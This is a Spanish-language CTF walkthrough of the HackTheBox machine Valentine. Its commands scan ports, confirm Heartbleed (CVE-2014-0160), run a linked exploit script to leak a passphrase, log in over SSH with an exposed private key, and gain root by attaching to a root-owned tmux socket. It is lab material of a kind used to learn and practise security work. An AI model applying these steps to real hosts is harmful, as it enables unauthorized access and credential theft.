Valentine - WriteUp
🎯 Machine Info
ENUMERACIÓN
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.94SVN scan initiated Thu Feb 1 10:18:23 2024 as: nmap -sCV -p 22,80,443 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-boots
trap.xsl -oN targeted -oX targetedXML 10.129.1.181
Nmap scan report for 10.129.1.181
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2024-02-01T09:18:38+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -1s
Damos de alta el nombre de dominio valentine.htb en el archivo hosts.
Vemos que la versión del OpenSSH es muy inferior a la 7.7 por lo que podemos enumerar usuarios y al ver el nombre de la máquina podemos estar ante un host vulnerable a Heartbleed.
Vamos a pasar un script de NMAP para confirmar si es vulnerable:
1
$ nmap --script=ssl-heartbleed -p 443 10.129.1.181
Y efectivamente, es vulnerable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-01 10:24 CET
Nmap scan report for valentine.htb (10.129.1.181)
Host is up (0.044s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: 'VULNERABLE'
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://cvedetails.com/cve/2014-0160/
|_ http://www.openssl.org/news/secadv_20140407.txt
La vulnerabilidad tiene el CVE-2014-0160
FUZZING
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ gobuster dir -u http://10.129.1.181 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.1.181
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 38]
/dev (Status: 301) [Size: 310] [--> http://10.129.1.181/dev/]
/encode (Status: 200) [Size: 554]
/decode (Status: 200) [Size: 552]
/omg (Status: 200) [Size: 153356]
/server-status (Status: 403) [Size: 293]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Miramos las rutas encontradas:
EXPLOTACIÓN
Vamos a centrarnos en el archivo hype_key encontrado. Parece Hexadecimal. Nos ayudaremos de la página Cyberchef para intentar averiguar lo que oculta o cuál es su función…
Es una clave privada.
Nos la descargamos:
1
$ wget http://10.129.1.181/dev/hype_key
La convertimos a ASCII y le damos los permisos necesarios:
1
2
$ xxd -r -p hype_key id_rsa
$ chmod 600 id_rsa
Vamos a ejecutar el exploit https://gist.github.com/eelsivart/10174134 para ver qué encontramos.
1
$ python2.7 heartbleed.py 10.129.1.181
Nos devuelve una variable text con un texto cifrado en base64. Lo desciframos y lo apuntamos.
1
2
echo -n "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d; echo
heartbleedbelievethehype
Si vamos a las páginas encontradas enconder / decoder hacen la misma función. Codifican en base64 y viceversa.
Probamos unos cuantos usuarios aprovechándonos de la vulnerabailidad de enumeración, funciona aunque la respuesta la ofrece con varios segundos de retraso lo que imposibilita la enumeración rápida por diccionario. Pero damos con un usuario válido…
Perfecto, parece que tenemos un usuario, una contraseña y un archivo de clave privada… Vamos a probar todo junto y ver si podemos obtener un acceso a la máquina…
1
$ ssh -i id_rsa hype@10.129.1.181
Si en este punto diera un error al conectar del tipo “sign_and_send_pubkey: no mutual signature supported” podremos conectar sin problemas añadiendo un argumento al comando anterior:
1
$ ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa hype@10.129.1.181
ESCALADA
Si examinamos los procesos vemos uno que nos llama la atención:
1
root 1249 0.0 0.1 26416 1676 ? Ss 01:15 0:01 /usr/bin/tmux -S /.devs/dev_sess
El usuario root está ejecutando tmux, que es una terminal. Si consultamos gtfobins vemos que podemos ejecutarlo como el usuario del servicio al que ataca.
https://gtfobins.github.io/gtfobins/tmux/#shell
En este caso bastará con ejecutar el mismo comando que está ejecutando root para escalar privilegios.
1
$ /usr/bin/tmux -S /.devs/dev_sess
Última actualización: 2025-06-09
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0











